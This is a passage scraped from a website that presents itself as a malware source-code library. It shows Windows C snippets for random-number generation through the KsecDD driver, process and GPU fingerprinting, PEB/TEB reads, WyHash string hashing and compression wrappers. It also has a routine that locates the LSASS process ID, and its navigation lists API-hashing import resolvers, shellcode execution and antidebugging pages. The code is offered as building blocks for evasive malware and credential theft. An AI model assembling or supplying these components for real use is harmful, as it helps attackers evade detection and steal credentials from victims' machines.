sizeof(WCHAR)), 100); //100 should be seed, random number return ERROR_SUCCESS; } [PreviousPjw](https://malwaresourcecode.com/home/string-hashing/pjw) [NextCrc32NoTable](https://malwaresourcecode.com/home/string-hashing/crc32notable) Last updated 2 days ago --- # Fingerprinting | malware source code [GetNumberOfLinkedDlls](https://malwaresourcecode.com/home/fingerprinting/getnumberoflinkeddlls) [PEB / TEB related](https://malwaresourcecode.com/home/fingerprinting/peb-teb-related) [GetPidFromEnumProcesses](https://malwaresourcecode.com/home/fingerprinting/getpidfromenumprocesses) [IsNvidiaGraphicsCardPresent](https://malwaresourcecode.com/home/fingerprinting/isnvidiagraphicscardpresent) [IsProcessRunning (simple)](https://malwaresourcecode.com/home/fingerprinting/isprocessrunning-simple) [PreviousWin32FromHResult](https://malwaresourcecode.com/home/error-handling/win32fromhresult) [NextGetNumberOfLinkedDlls](https://malwaresourcecode.com/home/fingerprinting/getnumberoflinkeddlls) --- # IOCTL KsecDD Random | malware source code Copy #include #define OBJ_CASE_INSENSITIVE 0x00000040L #define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020 #define NT_SUCCESS(Status)(((NTSTATUS)(Status)) >= 0) #define IOCTL_KSEC_RNG CTL_CODE(FILE_DEVICE_KSEC, 1, METHOD_BUFFERED, FILE_ANY_ACCESS) typedef struct _IO_STATUS_BLOCK { union { NTSTATUS Status; PVOID Pointer; }; ULONG_PTR Information; } IO_STATUS_BLOCK, * PIO_STATUS_BLOCK; typedef struct _LSA_UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, * PUNICODE_STRING; typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; SIZE_T StringLengthW(_In_ LPCWSTR String) { LPCWSTR String2; for (String2 = String; *String2; ++String2); return (String2 - String); } #define InitializeObjectAttributes(p, n, a, r, s) { \ (p)->Length = sizeof(OBJECT_ATTRIBUTES); \ (p)->RootDirectory = r; \ (p)->Attributes = a; \ (p)->ObjectName = n; \ (p)->SecurityDescriptor = s; \ (p)->SecurityQualityOfService = NULL; \ } VOID ImplZeroMemory1(_Inout_ PVOID Destination, _In_ SIZE_T Size) { PBYTE Dest = (PBYTE)Destination; while (Size--) { *Dest++ = 0; } } VOID RtlInitUnicodeString(_Inout_ PUNICODE_STRING DestinationString, _In_ PCWSTR SourceString) { SIZE_T DestSize; if (SourceString) { DestSize = StringLengthW(SourceString) * sizeof(WCHAR); DestinationString->Length = (USHORT)DestSize; DestinationString->MaximumLength = (USHORT)DestSize + sizeof(WCHAR); } else { DestinationString->Length = 0; DestinationString->MaximumLength = 0; } DestinationString->Buffer = (PWCHAR)SourceString; } BOOL GetRandomIntegerKsecDDObject(PUINT32 RandomInteger) { typedef NTSTATUS(NTAPI* NTOPENFILE)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PIO_STATUS_BLOCK, ULONG, ULONG); typedef NTSTATUS(NTAPI* NTDEVICEIOCONTROLFILE)(HANDLE, HANDLE, PVOID, PVOID, PIO_STATUS_BLOCK, ULONG, PVOID, ULONG, PVOID, ULONG); typedef NTSTATUS(NTAPI* NTCLOSE)(HANDLE); NTOPENFILE NtOpenFile = NULL; NTDEVICEIOCONTROLFILE NtDeviceIoControlFile = NULL; NTCLOSE NtClose = NULL; NTSTATUS Status = 0; HMODULE Module = NULL; UNICODE_STRING DriverName = { 0 }; OBJECT_ATTRIBUTES ObjectAttributes = { 0 }; IO_STATUS_BLOCK Io = { 0 }; HANDLE Handle = NULL; BYTE Buffer[16] = { 0 }; BOOL Flag = FALSE; Module = GetModuleHandleA("ntdll.dll"); if (Module == NULL) goto EXIT_ROUTINE; NtOpenFile = (NTOPENFILE)GetProcAddress(Module, "NtOpenFile"); NtDeviceIoControlFile = (NTDEVICEIOCONTROLFILE)GetProcAddress(Module, "NtDeviceIoControlFile"); NtClose = (NTCLOSE)GetProcAddress(Module, "NtClose"); if (!NtOpenFile || !NtDeviceIoControlFile || !NtClose) goto EXIT_ROUTINE; RtlInitUnicodeString(&DriverName, L"\\Device\\KsecDD"); InitializeObjectAttributes(&ObjectAttributes, &DriverName, OBJ_CASE_INSENSITIVE, 0, 0); Status = NtOpenFile(&Handle, SYNCHRONIZE | FILE_READ_DATA, &ObjectAttributes, &Io, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_SYNCHRONOUS_IO_NONALERT); if (!NT_SUCCESS(Status)) goto EXIT_ROUTINE; ImplZeroMemory1(&Io, sizeof(IO_STATUS_BLOCK)); Status = NtDeviceIoControlFile(Handle, NULL, NULL, NULL, &Io, IOCTL_KSEC_RNG, NULL, 0, Buffer, sizeof(Buffer)); if (!NT_SUCCESS(Status)) goto EXIT_ROUTINE; *RandomInteger = ((UINT32)Buffer[0]) | ((UINT32)Buffer[1] << 8) | ((UINT32)Buffer[2] << 16) | ((UINT32)Buffer[3] << 24); Flag = TRUE; EXIT_ROUTINE: if (NtClose && Handle) NtClose(Handle); return Flag; } INT main(VOID) { UINT32 Value = 0; GetRandomIntegerKsecDDObject(&Value); return ERROR_SUCCESS; } [PreviousIOCTL Cng Random](https://malwaresourcecode.com/home/code-base/markdown/random-integer/ioctl-cng-random) [NextWinRT CryptographicBufferStatics](https://malwaresourcecode.com/home/code-base/markdown/random-integer/winrt-cryptographicbufferstatics) Last updated 37 minutes ago --- # IsNvidiaGraphicsCardPresent | malware source code Copy BOOL IsNvidiaGraphicsCardPresentA(VOID) { DISPLAY_DEVICEA DisplayDevice; RtlZeroMemory(&DisplayDevice, sizeof(DISPLAY_DEVICEA)); DisplayDevice.cb = sizeof(DISPLAY_DEVICEW); DWORD dwDeviceId = ERROR_SUCCESS; while (EnumDisplayDevicesA(NULL, dwDeviceId, &DisplayDevice, 0)) { if (StringFindSubstringA(DisplayDevice.DeviceString, (PCHAR)"NVIDIA") != NULL) return TRUE; } return FALSE; } BOOL IsNvidiaGraphicsCardPresentW(VOID) { DISPLAY_DEVICEW DisplayDevice; RtlZeroMemory(&DisplayDevice, sizeof(DISPLAY_DEVICEW)); DisplayDevice.cb = sizeof(DISPLAY_DEVICEW); DWORD dwDeviceId = ERROR_SUCCESS; while (EnumDisplayDevicesW(NULL, dwDeviceId, &DisplayDevice, 0)) { if (StringFindSubstringW(DisplayDevice.DeviceString, (PWCHAR)L"NVIDIA") != NULL) return TRUE; } return FALSE; } [PreviousGetPidFromEnumProcesses](https://malwaresourcecode.com/home/fingerprinting/getpidfromenumprocesses) [NextIsProcessRunning (simple)](https://malwaresourcecode.com/home/fingerprinting/isprocessrunning-simple) Last updated 10 months ago --- # IsProcessRunning (simple) | malware source code Copy #include BOOL IsProcessRunningA(_In_ LPCSTR ProcessNameWithExtension) { HANDLE hProcess = NULL; DWORD ProcessIdArray[1024] = { 0 }; DWORD ProcessIdArraySize = 0; DWORD NumberOfBytesReturned = 0; if (!K32EnumProcesses(ProcessIdArray, sizeof(ProcessIdArray), &NumberOfBytesReturned)) return FALSE; ProcessIdArraySize = NumberOfBytesReturned / sizeof(DWORD); for (DWORD dwIndex = 0; dwIndex < ProcessIdArraySize; dwIndex++) { HMODULE Module = NULL; CHAR ProcessStringName[MAX_PATH] = { 0 }; if (ProcessIdArray[dwIndex] == 0) continue; hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, ProcessIdArray[dwIndex]); if (hProcess == NULL) continue; if (!K32EnumProcessModules(hProcess, &Module, sizeof(Module), &NumberOfBytesReturned)) continue; if (K32GetModuleBaseNameA(hProcess, Module, ProcessStringName, sizeof(ProcessStringName) / sizeof(WCHAR)) == 0) continue; if (hProcess) CloseHandle(hProcess); if (StringCompareA(ProcessNameWithExtension, ProcessStringName) == 0) return TRUE; } return FALSE; } BOOL IsProcessRunningW(_In_ LPCWSTR ProcessNameWithExtension) { HANDLE hProcess = NULL; DWORD ProcessIdArray[1024] = { 0 }; DWORD ProcessIdArraySize = 0; DWORD NumberOfBytesReturned = 0; if (!K32EnumProcesses(ProcessIdArray, sizeof(ProcessIdArray), &NumberOfBytesReturned)) return FALSE; ProcessIdArraySize = NumberOfBytesReturned / sizeof(DWORD); for (DWORD dwIndex = 0; dwIndex < ProcessIdArraySize; dwIndex++) { HMODULE Module = NULL; WCHAR ProcessStringName[MAX_PATH] = { 0 }; if (ProcessIdArray[dwIndex] == 0) continue; hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, ProcessIdArray[dwIndex]); if (hProcess == NULL) continue; if (!K32EnumProcessModules(hProcess, &Module, sizeof(Module), &NumberOfBytesReturned)) continue; if (K32GetModuleBaseNameW(hProcess, Module, ProcessStringName, sizeof(ProcessStringName) / sizeof(WCHAR)) == 0) continue; if (hProcess) CloseHandle(hProcess); if (StringCompareW(ProcessStringName, ProcessNameWithExtension) == 0) return TRUE; } return FALSE; } [PreviousIsNvidiaGraphicsCardPresent](https://malwaresourcecode.com/home/fingerprinting/isnvidiagraphicscardpresent) [NextWrappers and Helpers](https://malwaresourcecode.com/home/wrappers-and-helpers) Last updated 10 months ago --- # WyHash | malware source code Copy #include #include PVOID CopyMemoryEx(_Inout_ PVOID Destination, _In_ CONST PVOID Source, _In_ SIZE_T Length) { PBYTE D = (PBYTE)Destination; PBYTE S = (PBYTE)Source; while (Length--) *D++ = *S++; return Destination; } SIZE_T StringLengthW(_In_ LPCWSTR String) { LPCWSTR String2; for (String2 = String; *String2; ++String2); return (String2 - String); } UINT64 Read64BitsAlignedSafe(PVOID Pointer) { UINT64 Value = 0; CopyMemoryEx(&Value, Pointer, 8); return Value; } UINT64 WyHashMix(UINT64 Mix0, UINT64 Mix1) { INT64 High = 0; INT64 Low = 0; Low = _mul128(Mix0, Mix1, &High); return (UINT64)Low ^ High; } UINT64 HashStringWyHashW(PVOID Data, UINT64 Length, UINT64 Seed) { PBYTE Pointer = (PBYTE)Data; UINT State0 = 0; UINT State1 = 0; Seed ^= 0xa0761d6478bd642full; for (;Length >= 16; Pointer += 16, Length -= 16) Seed = WyHashMix(Read64BitsAlignedSafe(Pointer) ^ 0xe7037ed1a0b428dbull, Read64BitsAlignedSafe(Pointer + 8) ^ Seed); if (Length >= 8) { State0 = Read64BitsAlignedSafe(Pointer); Pointer += 8; Length -= 8; } else if(Length) { for (SIZE_T i = 0; i < Length; i++) State0 |= (UINT64)Pointer[i] << (i * 8); Length = 0; } if (Length) { for(SIZE_T i = 0; i < Length; i++) State1 |= (UINT64)Pointer[i] << (i * 8); } return WyHashMix(0x8ebc6af09c88c6e3ull ^ Seed ^ (UINT64)Length, WyHashMix(State0 ^ 0x589965cc75374cc3ull, State1 ^ Seed)); } INT main(VOID) { WCHAR StringHashExample[] = L"Hash This String"; UINT64 Hash = 0; Hash = HashStringWyHashW(StringHashExample, (StringLengthW(StringHashExample) * sizeof(WCHAR)), 1); return ERROR_SUCCESS; } [PreviousJhash](https://malwaresourcecode.com/home/string-hashing/jhash) [NextAntidebugging Methods](https://malwaresourcecode.com/home/antidebugging-methods) Last updated 1 day ago --- # Function Import Methods | malware source code [GetProcAddress (Safe)](https://malwaresourcecode.com/home/library-loading/function-import-methods/getprocaddress-safe) [GetProcAddressDjb2](https://malwaresourcecode.com/home/library-loading/function-import-methods/getprocaddressdjb2) [GetProcAddressFowlerNollVoVariant1a](https://malwaresourcecode.com/home/library-loading/function-import-methods/getprocaddressfowlernollvovariant1a) [GetProcAddressJenkinsOneAtATime32Bit](https://malwaresourcecode.com/home/library-loading/function-import-methods/getprocaddressjenkinsoneatatime32bit) [GetProcAddressLoseLose](https://malwaresourcecode.com/home/library-loading/function-import-methods/getprocaddressloselose) [GetProcAddressMurmur](https://malwaresourcecode.com/home/library-loading/function-import-methods/getprocaddressmurmur) [GetProcAddressRotr32](https://malwaresourcecode.com/home/library-loading/function-import-methods/getprocaddressrotr32) [GetProcAddressSdbm](https://malwaresourcecode.com/home/library-loading/function-import-methods/getprocaddresssdbm) [GetProcAddressSipHash](https://malwaresourcecode.com/home/library-loading/function-import-methods/getprocaddresssiphash) [GetProcAddressSuperFastHash](https://malwaresourcecode.com/home/library-loading/function-import-methods/getprocaddresssuperfasthash) [GetProcAddressUnknownGenericHash1](https://malwaresourcecode.com/home/library-loading/function-import-methods/getprocaddressunknowngenerichash1) [PreviousProxyWorkItemLoadLibrary](https://malwaresourcecode.com/home/library-loading/proxyworkitemloadlibrary) [NextGetProcAddress (Safe)](https://malwaresourcecode.com/home/library-loading/function-import-methods/getprocaddress-safe) --- # GetOsMinorVersionFromPeb | malware source code Copy ULONG GetOsMinorVersionFromPeb(VOID) { return GetPeb()->OSMinorVersion; } [PreviousGetOsMajorVersionFromPeb](https://malwaresourcecode.com/home/fingerprinting/peb-teb-related/getosmajorversionfrompeb) [NextGetOsPlatformIdFromPeb](https://malwaresourcecode.com/home/fingerprinting/peb-teb-related/getosplatformidfrompeb) Last updated 10 months ago --- # PEB / TEB related | malware source code [GetCurrentLocaleFromTeb](https://malwaresourcecode.com/home/fingerprinting/peb-teb-related/getcurrentlocalefromteb) [GetOsBuildNumberFromPeb](https://malwaresourcecode.com/home/fingerprinting/peb-teb-related/getosbuildnumberfrompeb) [GetOsMajorVersionFromPeb](https://malwaresourcecode.com/home/fingerprinting/peb-teb-related/getosmajorversionfrompeb) [GetOsMinorVersionFromPeb](https://malwaresourcecode.com/home/fingerprinting/peb-teb-related/getosminorversionfrompeb) [GetOsPlatformIdFromPeb](https://malwaresourcecode.com/home/fingerprinting/peb-teb-related/getosplatformidfrompeb) [PreviousGetNumberOfLinkedDlls](https://malwaresourcecode.com/home/fingerprinting/getnumberoflinkeddlls) [NextGetCurrentLocaleFromTeb](https://malwaresourcecode.com/home/fingerprinting/peb-teb-related/getcurrentlocalefromteb) --- # GetOsMajorVersionFromPeb | malware source code Copy ULONG GetOsMajorVersionFromPeb(VOID) { return GetPeb()->OSMajorVersion; } [PreviousGetOsBuildNumberFromPeb](https://malwaresourcecode.com/home/fingerprinting/peb-teb-related/getosbuildnumberfrompeb) [NextGetOsMinorVersionFromPeb](https://malwaresourcecode.com/home/fingerprinting/peb-teb-related/getosminorversionfrompeb) Last updated 10 months ago --- # GetOsPlatformIdFromPeb | malware source code Copy ULONG GetOsPlatformIdFromPeb(VOID) { return GetPeb()->OSPlatformId; } [PreviousGetOsMinorVersionFromPeb](https://malwaresourcecode.com/home/fingerprinting/peb-teb-related/getosminorversionfrompeb) [NextGetPidFromEnumProcesses](https://malwaresourcecode.com/home/fingerprinting/getpidfromenumprocesses) Last updated 10 months ago --- # GetPidFromEnumProcesses | malware source code Copy #include DWORD GetPidFromEnumProcessesW(_In_ PWCHAR ProcessNameWithExtension) { HANDLE hProcess = NULL; DWORD ProcessIdArray[1024] = { 0 }; DWORD ProcessIdArraySize = 0; DWORD NumberOfBytesReturned = 0; if (!K32EnumProcesses(ProcessIdArray, sizeof(ProcessIdArray), &NumberOfBytesReturned)) return FALSE; ProcessIdArraySize = NumberOfBytesReturned / sizeof(DWORD); for (DWORD dwIndex = 0; dwIndex < ProcessIdArraySize; dwIndex++) { HMODULE Module = NULL; DWORD dwProcessId = ERROR_SUCCESS; WCHAR ProcessStringName[MAX_PATH * sizeof(WCHAR)] = {0}; if (ProcessIdArray[dwIndex] == 0) continue; hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, ProcessIdArray[dwIndex]); if (hProcess == NULL) continue; if (!K32EnumProcessModules(hProcess, &Module, sizeof(Module), &NumberOfBytesReturned)) continue; if (K32GetModuleBaseNameW(hProcess, Module, ProcessStringName, sizeof(ProcessStringName) / sizeof(WCHAR)) == 0) continue; if (StringCompareW(ProcessNameWithExtension, ProcessStringName) == 0) dwProcessId = GetProcessId(hProcess); CloseHandle(hProcess); if (dwProcessId != 0) return dwProcessId; } return 0; } DWORD GetPidFromEnumProcessesA(_In_ PCHAR ProcessNameWithExtension) { HANDLE hProcess = NULL; DWORD ProcessIdArray[1024] = { 0 }; DWORD ProcessIdArraySize = 0; DWORD NumberOfBytesReturned = 0; if (!K32EnumProcesses(ProcessIdArray, sizeof(ProcessIdArray), &NumberOfBytesReturned)) return FALSE; ProcessIdArraySize = NumberOfBytesReturned / sizeof(DWORD); for (DWORD dwIndex = 0; dwIndex < ProcessIdArraySize; dwIndex++) { HMODULE Module = NULL; DWORD dwProcessId = ERROR_SUCCESS; CHAR ProcessStringName[MAX_PATH] = { 0 }; if (ProcessIdArray[dwIndex] == 0) continue; hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, ProcessIdArray[dwIndex]); if (hProcess == NULL) continue; if (!K32EnumProcessModules(hProcess, &Module, sizeof(Module), &NumberOfBytesReturned)) continue; if (K32GetModuleBaseNameA(hProcess, Module, ProcessStringName, sizeof(ProcessStringName) / sizeof(CHAR)) == 0) continue; if (StringCompareA(ProcessNameWithExtension, ProcessStringName) == 0) dwProcessId = GetProcessId(hProcess); CloseHandle(hProcess); if (dwProcessId != 0) return dwProcessId; } return 0; } [PreviousGetOsPlatformIdFromPeb](https://malwaresourcecode.com/home/fingerprinting/peb-teb-related/getosplatformidfrompeb) [NextIsNvidiaGraphicsCardPresent](https://malwaresourcecode.com/home/fingerprinting/isnvidiagraphicscardpresent) Last updated 10 months ago --- # GetCurrentLocaleFromTeb | malware source code Copy LCID GetCurrentLocaleFromTeb(VOID) { PTEB Teb = (PTEB)GetTeb(); return (LCID)Teb->CurrentLocale; } [PreviousPEB / TEB related](https://malwaresourcecode.com/home/fingerprinting/peb-teb-related) [NextGetOsBuildNumberFromPeb](https://malwaresourcecode.com/home/fingerprinting/peb-teb-related/getosbuildnumberfrompeb) Last updated 10 months ago --- # Compression | malware source code [Lempel-Ziv](https://malwaresourcecode.com/home/compression/lempel-ziv) [Xpress](https://malwaresourcecode.com/home/compression/xpress) [Xpress Huff](https://malwaresourcecode.com/home/compression/xpress-huff) [PreviousVerifierEnumerateResource](https://malwaresourcecode.com/home/shellcode-execution/verifierenumerateresource) [NextLempel-Ziv](https://malwaresourcecode.com/home/compression/lempel-ziv) --- # Lsass Related | malware source code [GetLsaPidFromNamedPipe](https://malwaresourcecode.com/home/lsass-related/getlsapidfromnamedpipe) [GetLsaPidFromRegistry](https://malwaresourcecode.com/home/lsass-related/getlsapidfromregistry) [GetLsaPidFromServiceManager](https://malwaresourcecode.com/home/lsass-related/getlsapidfromservicemanager) [PreviousUrlDownloadToFileSynchronous](https://malwaresourcecode.com/home/networking/urldownloadtofilesynchronous) [NextGetLsaPidFromNamedPipe](https://malwaresourcecode.com/home/lsass-related/getlsapidfromnamedpipe) --- # Lempel-Ziv | malware source code [LzStandardDecompressBuffer](https://malwaresourcecode.com/home/compression/lempel-ziv/lzstandarddecompressbuffer) [LzStandardCompressBuffer](https://malwaresourcecode.com/home/compression/lempel-ziv/lzstandardcompressbuffer) [LzMaximumDecompressBuffer](https://malwaresourcecode.com/home/compression/lempel-ziv/lzmaximumdecompressbuffer) [LzMaximumCompressBuffer](https://malwaresourcecode.com/home/compression/lempel-ziv/lzmaximumcompressbuffer) [PreviousCompression](https://malwaresourcecode.com/home/compression) [NextLzStandardDecompressBuffer](https://malwaresourcecode.com/home/compression/lempel-ziv/lzstandarddecompressbuffer) --- # Xpress | malware source code [XpressMaximumCompressBuffer](https://malwaresourcecode.com/home/compression/xpress/xpressmaximumcompressbuffer) [XpressMaximumDecompressBuffer](https://malwaresourcecode.com/home/compression/xpress/xpressmaximumdecompressbuffer) [XpressStandardCompressBuffer](https://malwaresourcecode.com/home/compression/xpress/xpressstandardcompressbuffer) [XpressStandardDecompressBuffer](https://malwaresourcecode.com/home/compression/xpress/xpressstandarddecompressbuffer) [PreviousLzMaximumCompressBuffer](https://malwaresourcecode.com/home/compression/lempel-ziv/lzmaximumcompressbuffer) [NextXpressMaximumCompressBuffer](https://malwaresourcecode.com/home/compression/xpress/xpressmaximumcompressbuffer) --- # LzMaximumCompressBuffer | malware source code Copy ULONG LzMaximumCompressBuffer(_In_ PBYTE UncompressedBuffer, _In_ ULONG SizeOfUncompressedBufferInBytes, _Inout_ PBYTE CompressedBuffer, _In_ ULONG CompressedBufferSizeInBytes) { typedef NTSTATUS(NTAPI* RTLCOMPRESSBUFFER)(USHORT, PUCHAR, ULONG, PUCHAR, ULONG, ULONG, PULONG, PVOID); typedef NTSTATUS(NTAPI* RTLGETCOMPRESSIONWORKSPACESIZE)(USHORT, PULONG, PULONG); RTLCOMPRESSBUFFER RtlCompressBuffer = NULL; RTLGETCOMPRESSIONWORKSPACESIZE RtlGetCompressionWorkSpaceSize = NULL; HMODULE hMod = NULL; NTSTATUS Status = STATUS_SUCCESS; USHORT CompressionFormatAndEngine = COMPRESSION_FORMAT_LZNT1 | COMPRESSION_ENGINE_MAXIMUM; ULONG CompressBufferWorkSpaceSize = 0; ULONG CompressFragmentWorkSpaceSize = 0; PVOID Workspace = NULL; ULONG FinalCompressedSize = 0; hMod = GetModuleHandleW(L"ntdll.dll"); if (hMod == NULL) goto EXIT_ROUTINE; RtlCompressBuffer = (RTLCOMPRESSBUFFER)GetProcAddress(hMod, "RtlCompressBuffer"); RtlGetCompressionWorkSpaceSize = (RTLGETCOMPRESSIONWORKSPACESIZE)GetProcAddress(hMod, "RtlGetCompressionWorkSpaceSize"); if (!RtlCompressBuffer || !RtlGetCompressionWorkSpaceSize) goto EXIT_ROUTINE; Status = RtlGetCompressionWorkSpaceSize(CompressionFormatAndEngine, &CompressBufferWorkSpaceSize, &CompressFragmentWorkSpaceSize); if (Status != STATUS_SUCCESS) goto EXIT_ROUTINE; if (CompressBufferWorkSpaceSize == 0) goto EXIT_ROUTINE; Workspace = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, CompressBufferWorkSpaceSize); if (Workspace == NULL) goto EXIT_ROUTINE; Status = RtlCompressBuffer(CompressionFormatAndEngine, UncompressedBuffer, SizeOfUncompressedBufferInBytes, CompressedBuffer, CompressedBufferSizeInBytes, 4096, &FinalCompressedSize, Workspace); if (Status != STATUS_SUCCESS) goto EXIT_ROUTINE; EXIT_ROUTINE: if (Workspace) HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, Workspace); return FinalCompressedSize; } [PreviousLzMaximumDecompressBuffer](https://malwaresourcecode.com/home/compression/lempel-ziv/lzmaximumdecompressbuffer) [NextXpress](https://malwaresourcecode.com/home/compression/xpress) Last updated 10 months ago --- # GetLsaPidFromServiceManager | malware source code Copy DWORD MpfGetLsaPidFromServiceManager(VOID) { SC_HANDLE Manager = NULL, ServiceHandle = NULL; DWORD ProcessId = ERROR_SUCCESS, BytesNeeded = ERROR_SUCCESS; SERVICE_STATUS_PROCESS ServiceStatus = { 0 }; Manager = OpenSCManagerW(NULL, NULL, SC_MANAGER_CONNECT); if (Manager == NULL) return 0; ServiceHandle = OpenServiceW(Manager, L"samss", SERVICE_QUERY_STATUS); if (ServiceHandle == NULL) goto EXIT_ROUTINE; if(!QueryServiceStatusEx(ServiceHandle, SC_STATUS_PROCESS_INFO, (LPBYTE)&ServiceStatus, sizeof(ServiceStatus), &BytesNeeded)) goto EXIT_ROUTINE; ProcessId = ServiceStatus.dwProcessId; EXIT_ROUTINE: if(ServiceHandle) CloseServiceHandle(ServiceHandle); if (Manager) CloseServiceHandle(Manager); return ProcessId; } [PreviousGetLsaPidFromRegistry](https://malwaresourcecode.com/home/lsass-related/getlsapidfromregistry) [NextProxied Functions](https://malwaresourcecode.com/home/proxied-functions) Last updated 10 months ago --- # XpressMaximumDecompressBuffer | malware source code Copy ULONG XpressMaximumDecompressBuffer(_In_ PBYTE CompressedBuffer, _In_ ULONG SizeOfCompressedBufferInBytes, _Inout_ PBYTE DecompressedBuffer, _In_ ULONG DecompressedBufferSizeInBytes) { typedef NTSTATUS(NTAPI* RTLDECOMPRESSBUFFER)(USHORT, PUCHAR, ULONG, PUCHAR, ULONG, PULONG); RTLDECOMPRESSBUFFER RtlDecompressBuffer = NULL; HMODULE hMod = NULL; NTSTATUS Status = STATUS_SUCCESS; USHORT CompressionFormatAndEngine = COMPRESSION_FORMAT_XPRESS | COMPRESSION_ENGINE_MAXIMUM; ULONG FinalDecompressedSize = 0; hMod = GetModuleHandleW(L"ntdll.dll"); if (hMod == NULL) goto EXIT_ROUTINE; RtlDecompressBuffer = (RTLDECOMPRESSBUFFER)GetProcAddress(hMod, "RtlDecompressBuffer"); if (!RtlDecompressBuffer) goto EXIT_ROUTINE; Status = RtlDecompressBuffer(CompressionFormatAndEngine, DecompressedBuffer, DecompressedBufferSizeInBytes, CompressedBuffer, SizeOfCompressedBufferInBytes, &FinalDecompressedSize); if (Status != STATUS_SUCCESS) goto EXIT_ROUTINE; EXIT_ROUTINE: return FinalDecompressedSize; } [PreviousXpressMaximumCompressBuffer](https://malwaresourcecode.com/home/compression/xpress/xpressmaximumcompressbuffer) [NextXpressStandardCompressBuffer](https://malwaresourcecode.com/home/compression/xpress/xpressstandardcompressbuffer) Last updated 10 months ago --- # LzStandardCompressBuffer | malware source code Copy ULONG LzStandardCompressBuffer(_In_ PBYTE UncompressedBuffer, _In_ ULONG SizeOfUncompressedBufferInBytes, _Inout_ PBYTE CompressedBuffer, _In_ ULONG CompressedBufferSizeInBytes) { typedef NTSTATUS(NTAPI* RTLCOMPRESSBUFFER)(USHORT, PUCHAR, ULONG, PUCHAR, ULONG, ULONG, PULONG, PVOID); typedef NTSTATUS(NTAPI* RTLGETCOMPRESSIONWORKSPACESIZE)(USHORT, PULONG, PULONG); RTLCOMPRESSBUFFER RtlCompressBuffer = NULL; RTLGETCOMPRESSIONWORKSPACESIZE RtlGetCompressionWorkSpaceSize = NULL; HMODULE hMod = NULL; NTSTATUS Status = STATUS_SUCCESS; USHORT CompressionFormatAndEngine = COMPRESSION_FORMAT_LZNT1 | COMPRESSION_ENGINE_STANDARD; ULONG CompressBufferWorkSpaceSize = 0; ULONG CompressFragmentWorkSpaceSize = 0; PVOID Workspace = NULL; ULONG FinalCompressedSize = 0; hMod = GetModuleHandleW(L"ntdll.dll"); if (hMod == NULL) goto EXIT_ROUTINE; RtlCompressBuffer = (RTLCOMPRESSBUFFER)GetProcAddress(hMod, "RtlCompressBuffer"); RtlGetCompressionWorkSpaceSize = (RTLGETCOMPRESSIONWORKSPACESIZE)GetProcAddress(hMod, "RtlGetCompressionWorkSpaceSize"); if (!RtlCompressBuffer || !RtlGetCompressionWorkSpaceSize) goto EXIT_ROUTINE; Status = RtlGetCompressionWorkSpaceSize(CompressionFormatAndEngine, &CompressBufferWorkSpaceSize, &CompressFragmentWorkSpaceSize); if(Status != STATUS_SUCCESS) goto EXIT_ROUTINE; if (CompressBufferWorkSpaceSize == 0) goto EXIT_ROUTINE; Workspace = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, CompressBufferWorkSpaceSize); if (Workspace == NULL) goto EXIT_ROUTINE; Status = RtlCompressBuffer(CompressionFormatAndEngine, UncompressedBuffer, SizeOfUncompressedBufferInBytes, CompressedBuffer, CompressedBufferSizeInBytes, 4096, &FinalCompressedSize, Workspace); if (Status != STATUS_SUCCESS) goto EXIT_ROUTINE; EXIT_ROUTINE: if (Workspace) HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, Workspace); return FinalCompressedSize; } [PreviousLzStandardDecompressBuffer](https://malwaresourcecode.com/home/compression/lempel-ziv/lzstandarddecompressbuffer) [NextLzMaximumDecompressBuffer](https://malwaresourcecode.com/home/compression/lempel-ziv/lzmaximumdecompressbuffer) Last updated 10 months ago --- # XpressMaximumCompressBuffer | malware source code Copy ULONG XpressMaximumCompressBuffer(_In_ PBYTE UncompressedBuffer, _In_ ULONG SizeOfUncompressedBufferInBytes, _Inout_ PBYTE CompressedBuffer, _In_ ULONG CompressedBufferSizeInBytes) { typedef NTSTATUS(NTAPI* RTLCOMPRESSBUFFER)(USHORT, PUCHAR, ULONG, PUCHAR, ULONG, ULONG, PULONG, PVOID); typedef NTSTATUS(NTAPI* RTLGETCOMPRESSIONWORKSPACESIZE)(USHORT, PULONG, PULONG); RTLCOMPRESSBUFFER RtlCompressBuffer = NULL; RTLGETCOMPRESSIONWORKSPACESIZE RtlGetCompressionWorkSpaceSize = NULL; HMODULE hMod = NULL; NTSTATUS Status = STATUS_SUCCESS; USHORT CompressionFormatAndEngine = COMPRESSION_FORMAT_XPRESS | COMPRESSION_ENGINE_MAXIMUM; ULONG CompressBufferWorkSpaceSize = 0; ULONG CompressFragmentWorkSpaceSize = 0; PVOID Workspace = NULL; ULONG FinalCompressedSize = 0; hMod = GetModuleHandleW(L"ntdll.dll"); if (hMod == NULL) goto EXIT_ROUTINE; RtlCompressBuffer = (RTLCOMPRESSBUFFER)GetProcAddress(hMod, "RtlCompressBuffer"); RtlGetCompressionWorkSpaceSize = (RTLGETCOMPRESSIONWORKSPACESIZE)GetProcAddress(hMod, "RtlGetCompressionWorkSpaceSize"); if (!RtlCompressBuffer || !RtlGetCompressionWorkSpaceSize) goto EXIT_ROUTINE; Status = RtlGetCompressionWorkSpaceSize(CompressionFormatAndEngine, &CompressBufferWorkSpaceSize, &CompressFragmentWorkSpaceSize); if (Status != STATUS_SUCCESS) goto EXIT_ROUTINE; if (CompressBufferWorkSpaceSize == 0) goto EXIT_ROUTINE; Workspace = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, CompressBufferWorkSpaceSize); if (Workspace == NULL) goto EXIT_ROUTINE; Status = RtlCompressBuffer(CompressionFormatAndEngine, 